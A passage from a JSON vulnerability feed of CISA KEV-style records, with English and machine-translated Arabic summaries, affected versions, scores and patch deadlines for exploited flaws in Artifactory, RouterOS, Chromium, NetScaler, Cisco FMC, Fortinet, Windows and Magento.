للخطر."},"refs":[["https://docs.jfrog.com/releases/docs/jfrog-security-advisories","advisory"],["https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-42018","advisory"],["https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018","ref"]],"epss":0.0981,"kevAdded":"2026-09-11T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"jfrog-artifactory"},{"id":"CVE-2026-42016","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-863","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-11T00:00:00Z","product":"JFrog Artifactory","affected":[["0 – <7.133.11","7.133.11"]],"title":{"en":"JFrog Artifactory Incorrect Authorization Vulnerability","ar":"ثغرة تفويض غير صحيح في JFrog Artifactory"},"summary":{"en":"JFrog Artifactory contains an incorrect authorization vulnerability that leads to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope.","ar":"يحتوي JFrog Artifactory على ثغرة تفويض غير صحيح تؤدي إلى هجوم تصعيد الصلاحيات بسبب فحص التحقق من توقيع الرمز/المُصْدِر وليس نطاق الرمز."},"refs":[["https://docs.jfrog.com/releases/docs/jfrog-security-advisories","advisory"],["https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-42016","advisory"],["https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42016","ref"]],"epss":0.0864,"kevAdded":"2026-09-11T00:00:00Z","kevDue":"2026-09-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"jfrog-artifactory"},{"id":"CVE-2026-86060","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-88","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-10T00:00:00Z","product":"MikroTik RouterOS","affected":[["7.24 – <7.24.2","7.24.2"],["7.0.0 – <7.23.4","7.23.4"],["6.0.0 – <6.49.21","6.49.21"]],"title":{"en":"MikroTik RouterOS Improper Neutralization of Argument Delimiters in a Command Vulnerability","ar":"ثغرة التحييد غير السليم لمحددات الوسائط في الأوامر ضمن MikroTik RouterOS"},"summary":{"en":"MikroTik RouterOS contains an improper neutralization of argument delimiters in a command vulnerability which allows an attacker to change the trusted RouterOS policy mask, leading to privilege escalation.","ar":"يحتوي نظام MikroTik RouterOS على ثغرة التحييد غير السليم لمحددات الوسائط في الأوامر، والتي تسمح لمهاجم بتغيير قناع سياسة RouterOS الموثوقة، مما يؤدي إلى تصعيد الصلاحيات."},"refs":[["https://mikrotik.com/supportsec/september-2026-vulnerability","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-86060","advisory"],["https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve","advisory"],["https://mikrotik.com/supportsec/september-2026-vulnerability/","advisory"],["https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/","ref"],["https://npratley.net/reversing-mikrotiks-silent-patch-the-routeros-7-23-4-fix-they-wouldnt-explain/","ref"],["https://forum.mikrotik.com/t/6-49-21-long-term-is-released/272802","ref"],["https://forum.mikrotik.com/t/7-23-4-long-term-is-released/272801","ref"],["https://forum.mikrotik.com/t/7-24-2-stable-is-released/272800","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-86060","ref"]],"epss":0.0639,"kevAdded":"2026-09-10T00:00:00Z","kevDue":"2026-09-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"mikrotik-routeros"},{"id":"CVE-2026-67277","cvss":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-10T00:00:00Z","product":"MikroTik RouterOS","affected":[["7.24 – <7.24.2","7.24.2"],["7.0.0 – <7.23.4","7.23.4"],["6.0.0 – <6.49.21","6.49.21"]],"title":{"en":"MikroTik RouterOS Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة للوظائف الحرجة في MikroTik RouterOS"},"summary":{"en":"MikroTik RouterOS contains a missing authentication for critical function vulnerability which allows kernel memory disclosure and denial of service in the btest service.","ar":"يحتوي نظام MikroTik RouterOS على ثغرة غياب المصادقة للوظائف الحرجة مما يسمح بكشف ذاكرة النواة وحجب الخدمة في خدمة btest."},"refs":[["https://mikrotik.com/supportsec/september-2026-vulnerability/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-67277","advisory"],["https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve","advisory"],["https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/","ref"],["https://npratley.net/reversing-mikrotiks-silent-patch-the-routeros-7-23-4-fix-they-wouldnt-explain/","ref"],["https://forum.mikrotik.com/t/6-49-21-long-term-is-released/272802","ref"],["https://forum.mikrotik.com/t/7-23-4-long-term-is-released/272801","ref"],["https://forum.mikrotik.com/t/7-24-2-stable-is-released/272800","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-67277","ref"]],"epss":0.0156,"kevAdded":"2026-09-10T00:00:00Z","kevDue":"2026-09-13T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"mikrotik-routeros"},{"id":"CVE-2026-87491","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-09T00:09:38Z","product":"Google Chromium V8","affected":[["153.0.8010.36 – <153.0.8010.36","153.0.8010.36"]],"title":{"en":"Google Chromium V8 Out of Bounds Write Vulnerability","ar":"ثغرة الكتابة خارج النطاق في محرك Google Chromium V8"},"summary":{"en":"Google Chromium V8 contains an out of bounds write vulnerability that allows a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","ar":"يحتوي محرك Google Chromium V8 على ثغرة كتابة خارج النطاق تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية (sandbox) عبر صفحة HTML مُصممة خصيصًا. قد تؤثر هذه الثغرة على متصفحات ويب متعددة تستخدم Chromium، بما في ذلك على سبيل المثال لا الحصر متصفحات Google Chrome و Microsoft Edge و Opera."},"refs":[["https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-87491","advisory"],["https://issues.chromium.org/issues/543557673","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-87491","ref"]],"epss":0.0351,"kevAdded":"2026-09-09T00:00:00Z","kevDue":"2026-09-23T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"google-chromium"},{"id":"CVE-2026-19490","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L","cwe":"CWE-288","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-09T00:00:00Z","product":"Citrix NetScaler","affected":[["14.1 – 73.32",null],["13.1 – 63.21",null]],"title":{"en":"Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability","ar":"ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في Citrix NetScaler"},"summary":{"en":"Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication.","ar":"تحتوي Citrix NetScaler ADC وNetScaler Gateway على ثغرة تجاوز المصادقة تتضمن مسارًا أو قناة بديلة. عندما يتم تكوين جهاز NetScaler كخادم افتراضي AAA أو كـ Gateway (مثل SSL VPN أو ICA Proxy أو CVPN أو RDP Proxy)، قد يتمكن جهة تهديد عن بُعد دون مصادقة من تجاوز المصادقة."},"refs":[["https://support.citrix.com/external/article/CTX696939/netscaler-adc-and-netscaler-gateway-secu.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-19490","advisory"],["https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-19490","ref"]],"epss":0.3265,"kevAdded":"2026-09-09T00:00:00Z","kevDue":"2026-09-12T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"citrix-netscaler"},{"id":"CVE-2026-20079","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-288","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-09T00:00:00Z","product":"Cisco Secure Firewall Management Center (FMC) and Security Cloud Control (SCC) Firewa…","affected":[["7.0.0",null],["7.0.0.1",null],["7.0.1",null],["7.1.0",null],["7.0.1.1",null],["7.1.0.1",null],["7.0.2",null],["7.2.0",null],["7.0.2.1",null],["7.0.3",null],["7.1.0.2",null],["7.2.0.1",null]],"title":{"en":"Cisco Firewall Management Center Authentication Bypass Using an Alternate Path or Channel Vulnerability","ar":"ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في Cisco Firewall Management Center"},"summary":{"en":"Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain an authentication Bypass using an alternate path or channel vulnerability that could allow an unauthenticated, remote attacker to bypass authentication and execute script files on an affected device to obtain root access to the underlying operating system.","ar":"يحتوي برنامج Cisco Secure Firewall Management Center (FMC) وCisco Security Cloud Control (SCC) Firewall Management على ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة والتي قد تسمح لمهاجم عن بُعد دون مصادقة بتجاوز المصادقة وتنفيذ ملفات سكريبت على جهاز متأثر للحصول على صلاحيات الجذر (root) على نظام التشغيل الأساسي."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20079","advisory"],["https://blog.talosintelligence.com/fmc-ongoing-exploitation/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20079","ref"]],"epss":0.8866,"kevAdded":"2026-09-09T00:00:00Z","kevDue":"2026-09-12T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-firewall"},{"id":"CVE-2025-25249","cvss":7.4,"vector":null,"cwe":"CWE-122","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-09T00:00:00Z","product":"Fortinet Multiple Products","affected":[["7.2.2 – 7.2.5",null],["7.6.0 – 7.6.2",null],["7.4.0 – 7.4.7",null],["7.2.4 – 7.2.11",null]],"title":{"en":"Fortinet Multiple Products Heap-based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based Buffer Overflow) في منتجات Fortinet المتعددة"},"summary":{"en":"Fortinet FortiOS, FortiSwitchManager, and FortiSASE contain a heap-based buffer overflow vulnerability that allows an attacker to execute unauthorized code or commands via specially crafted packets.","ar":"تحتوي منتجات Fortinet مثل FortiOS وFortiSwitchManager وFortiSASE على ثغرة فيضان المخزن المؤقت القائم على الذاكرة الديناميكية (Heap-based Buffer Overflow) والتي تتيح للمهاجم تنفيذ شيفرة أو أوامر غير مصرح بها عبر حزم مُصممة خصيصاً."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-25-084","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-25249","advisory"],["https://socradar.io/blog/cve-2025-25249-pivotc2-fortigate-rat/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-25249","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-864900.html","ref"]],"epss":0.0374,"kevAdded":"2026-09-09T00:00:00Z","kevDue":"2026-09-12T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA في توجيه BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا لم تتوفر إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-multiple-products"},{"id":"CVE-2026-81963","cvss":7.8,"vector":null,"cwe":"CWE-59","tags":["LPE"],"zero":false,"exploited":true,"status":"patched","published":"2026-09-08T17:19:13Z","product":"Microsoft Windows","affected":[["10.0.22631.0 – <10.0.22631.7582","10.0.22631.7582"],["10.0.26100.0 – <10.0.26100.9445","10.0.26100.9445"],["10.0.26200.0 – <10.0.26200.9445","10.0.26200.9445"],["10.0.28000.0 – <10.0.28000.2954","10.0.28000.2954"],["10.0.26100.0 – <10.0.26100.33438","10.0.26100.33438"]],"title":{"en":"Microsoft Windows Link Following Vulnerability","ar":"ثغرة تتبع الروابط في Microsoft Windows"},"summary":{"en":"Microsoft Windows Update Stack contains a link following vulnerability that allows a local attacker to escalate privileges locally up to SYSTEM.","ar":"تحتوي حزمة تحديثات Microsoft Windows Update Stack على ثغرة تتبع روابط تسمح لمهاجم محلي بتصعيد الصلاحيات محليًا حتى مستوى SYSTEM."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-81963","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-81963","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-81963","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-81963","ref"]],"epss":0.0039,"kevAdded":"2026-09-08T00:00:00Z","kevDue":"2026-09-22T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-windows"},{"id":"CVE-2026-85880","cvss":7.8,"vector":null,"cwe":"CWE-122","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-09-08T17:14:21Z","product":"Microsoft Windows","affected":[["10.0.14393.0 – <10.0.14393.9512","10.0.14393.9512"],["10.0.17763.0 – <10.0.17763.9245","10.0.17763.9245"],["10.0.19044.0 – <10.0.19044.7725","10.0.19044.7725"],["10.0.19045.0 – <10.0.19045.7725","10.0.19045.7725"],["6.2.9200.0 – <6.2.9200.26349","6.2.9200.26349"],["6.3.9600.0 – <6.3.9600.23398","6.3.9600.23398"],["10.0.20348.0 – <10.0.20348.5622","10.0.20348.5622"]],"title":{"en":"Microsoft Windows Heap-Based Buffer Overflow Vulnerability","ar":"ثغرة فيضان المخزن المؤقت المستند إلى الذاكرة الديناميكية (Heap) في Microsoft Windows"},"summary":{"en":"Microsoft Windows Advanced Local Procedure Call contains a heap-based buffer overflow vulnerability that allows an attacker to elevate privileges locally.","ar":"تحتوي واجهة استدعاء الإجراءات المحلية المتقدمة في Microsoft Windows على ثغرة فيضان المخزن المؤقت المستند إلى الذاكرة الديناميكية (Heap) والتي تسمح لمهاجم برفع الصلاحيات محليًا."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85880","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-85880","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-85880","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-85880","ref"]],"epss":0.0039,"kevAdded":"2026-09-08T00:00:00Z","kevDue":"2026-09-22T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي BOD 26-04 المتعلق بتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-windows"},{"id":"CVE-2026-75650","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-1336","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-09-08T00:00:00Z","product":"Adobe Commerce and Magento","affected":[],"title":{"en":"Adobe Commerce and Magento Improper Neutralization of Special Elements Used in a Template Engine Vulnerability","ar":"ثغرة التحييد غير السليم للعناصر الخاصة المستخدمة في محرك القوالب في Adobe Commerce و Magento"},"summary":{"en":"Adobe Commerce and Magento Open Source contain an improper neutralization of special elements used in a template engine vulnerability that could allow an attacker to execute arbitrary code.","ar":"تحتوي منصتا Adobe Commerce و Magento Open Source على ثغرة التحييد غير السليم للعناصر الخاصة المستخدمة في محرك القوالب، مما قد يسمح لمهاجم بتنفيذ شيفرة عشوائية."},"refs":[["https://helpx.adobe.com/security/products/magento/apsb26-146.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-75650","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-75650","ref"]],"epss":0.0395,"kevAdded":"2026-09-08T00:00:00Z","kevDue":"2026-09-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات الجهة المُصنّعة، مع ضمان الامتثال لتوجيهات وكالة CISA للإطار التنظيمي 